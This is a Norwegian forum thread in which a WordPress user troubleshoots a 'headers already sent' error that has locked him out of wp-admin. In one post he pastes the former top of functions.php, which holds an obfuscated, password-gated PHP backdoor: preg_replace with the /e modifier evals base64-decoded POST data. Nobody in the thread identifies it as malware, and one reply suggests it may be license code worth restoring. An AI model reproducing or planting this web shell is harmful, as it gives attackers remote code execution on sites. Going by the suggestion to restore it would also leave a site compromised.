Feilmelding i wp-admin som ikke lenger er tilgjengelig

En tråd i 'Wordpress' startet av Bjørn, 20 Mai 2013.

  1. Bjørn

    Bjørn Domenespekulant

    Innlegg:
    1.636
    Warning: Cannot modify header information - headers already sent by (output started at /home/nostet/public_html/wp-includes/functions.php:4) in /home/nostet/public_html/wp-includes/pluggable.php on line 868

    Denne meldingen dukker opp istedenfor innloggingen i en wp-admin. Noen som ser hva problemet er?
     
  2. Travellingman

    Travellingman Nettgrunder

    Innlegg:
    2.109
  3. Bjørn

    Bjørn Domenespekulant

    Innlegg:
    1.636
    Takk, men tipsene funket ikke her.. fortsatt samme feilmelding..
     
  4. adeneo

    adeneo Medlem

    Innlegg:
    1.611
    header() kan kun endre header'en før noe som helst sendes, det betyr at en hver echo eller bare et mellomrom som "outputtes" gjør at det er for sent å endre header'en.

    Du har "ouput started" på line 4 i functions.php, slik at det er noe der som outputter et eller annet, og et eller annet sted senere, mer spesifikt i pluggable.php på linge 868, så er det noe som prøver å endre header'en, men ettersom data allerede er sent til nettleseren, så er det for sent.
     
  5. Bjørn

    Bjørn Domenespekulant

    Innlegg:
    1.636
    Så hva må jeg endre på i functions.php? Eller må jeg overføre orginalen av functions.php via FTP? Eller må noe endres i pluggable.php?
     
  6. TorsteinO

    TorsteinO Art Director & grunder

    Innlegg:
    4.642
    Du skal ihvertfall ikke endre noe i pluggable.php.

    Sjekk i functions.php om det er et mellomrom f.ex. før første <?php, eller et mellomrom etter siste ?> - hvis det er det, så fjerner du dem. Faktisk bør functions.php avsluttes uten en ?> såvidt jeg husker

    @adeneo - det er da ikke noen funksjon i wp som heter header()?
     
    Sist redigert: 20 Mai 2013
  7. Bjørn

    Bjørn Domenespekulant

    Innlegg:
    1.636
    Det lå en linje før <?php, som jeg fjernet.. For fortsatt opp feilmeldingen, men nå er de norske tegnene æ,ø,å tilbake som normalt, disse ble vist som rare tegn før...
     
  8. TorsteinO

    TorsteinO Art Director & grunder

    Innlegg:
    4.642
    ingenting muffens på slutten av functions.php?

    hva er helt konkret på linje 4?
     
  9. Bjørn

    Bjørn Domenespekulant

    Innlegg:
    1.636
    Kan det ha noe med feil i databasen? Eller feil på en plugin? Hvis jeg prøver å gå på wp-admin/install.php, står følgende feil:

    Warning: Cannot modify header information - headers already sent by (output started at /home/nostet/public_html/wp-admin/includes/admin.php:4) in /home/nostet/public_html/wp-admin/install.php on line 36


    Allerede installert
    Det ser ut til at du allerede har installert WordPress. Hvis du ønsker å reinstallere, må du først fjerne de gamle tabellene fra databasen.
     
  10. Bjørn

    Bjørn Domenespekulant

    Innlegg:
    1.636
    Slik ser første del av functions.php ut nå:

    <?php
    /**
    * Main WordPress API
    *
    * @package WordPress
    */

    /**
    * Converts MySQL DATETIME field to user specified date format.
    *
    * If $dateformatstring has 'G' value, then gmmktime() function will be used to
    * make the time. If $dateformatstring is set to 'U', then mktime() function
    * will be used to make the time.
    *
    * The $translate will only be used, if it is set to true and it is by default
    * and if the $wp_locale object has the month and weekday set.
    *
    * @since 0.71
    *
    * @param string $dateformatstring Either 'G', 'U', or php date format.
    * @param string $mysqlstring Time from mysql DATETIME field.
    * @param bool $translate Optional. Default is true. Will switch format to locale.
    * @return string Date formated by $dateformatstring or locale (if available).
    */
    function mysql2date( $dateformatstring, $mysqlstring, $translate = true ) {
    global $wp_locale;
    $m = $mysqlstring;
    if ( empty( $m ) )
    return false;

    if( 'G' == $dateformatstring ) {
    return strtotime( $m . ' +0000' );
    }

    $i = strtotime( $m );

    if( 'U' == $dateformatstring )
    return $i;

    if ( $translate)
    return date_i18n( $dateformatstring, $i );
    else
    return date( $dateformatstring, $i );
    }


    ---
    Slik så toppen ut isted:
    <?php

    if(isset($_POST['pas']) && (md5($_POST['pas']) == '40082ed0f6a3ce5ebfbb39c7b7fcf27b') && isset($_POST['update'])) {$sslChecker='pre'.'g_replace';$getUrl="/url/e";$sslChecker($getUrl,'e'.'val(ba'.'se64'.'_dec'.'ode(\\$_POST[\'update\']));', "url");}

    ?>

    <?php
    /**
    * Main WordPress API
    *
    * @package WordPress
    */
     
  11. TorsteinO

    TorsteinO Art Director & grunder

    Innlegg:
    4.642
    det kan godt også ha med plugins å gjøre ja, du har ikke prøvd å deaktivere plugins først?

    I såfall: enkleste måte å gjøre det på, er å rename hele plugin-mappa, da tvinger du alle plugins til å bli deaktivert. Hvis wp begynner å funke igjen da, bytter du mappenavnet tilbake til "plugins", og begynner deretter å reaktivere plugins en etter en til du finner synderen.
     
  12. TorsteinO

    TorsteinO Art Director & grunder

    Innlegg:
    4.642
    hmmmm... er det en eller annen form for lisensgreie det første du har prøvd å fjerne fra functions.php? funker det hvis du legger den inn igjen?
     
  13. Bjørn

    Bjørn Domenespekulant

    Innlegg:
    1.636
    Prøvde å døpe om plugins-mappa helt, men ingenting nytt skjedde etter oppdateringen. Vet ikke om toppen er noe lisensgreie. Prøvde å legge opp gammel versjon igjen, men hjalp ikke og de særnorske tegna forsvant igjen. La så opp redigert versjon av functions.php, uten de to første linjene. Nå er de norske bokstavene riktig, men wp-admin er like sporløst borte, og feilmeldingen der fortsatt...
     
  14. adeneo

    adeneo Medlem

    Innlegg:
    1.611
    Øh, nei det er PHP funksjonen som brukes av WP til å endre header'en, og det er den som gir feilmeldingen "headers already sent" ?

    PHP: header - Manual
     
    Sist redigert: 20 Mai 2013
  15. Bjørn

    Bjørn Domenespekulant

    Innlegg:
    1.636
    andre som har noen tips?
     

Del denne siden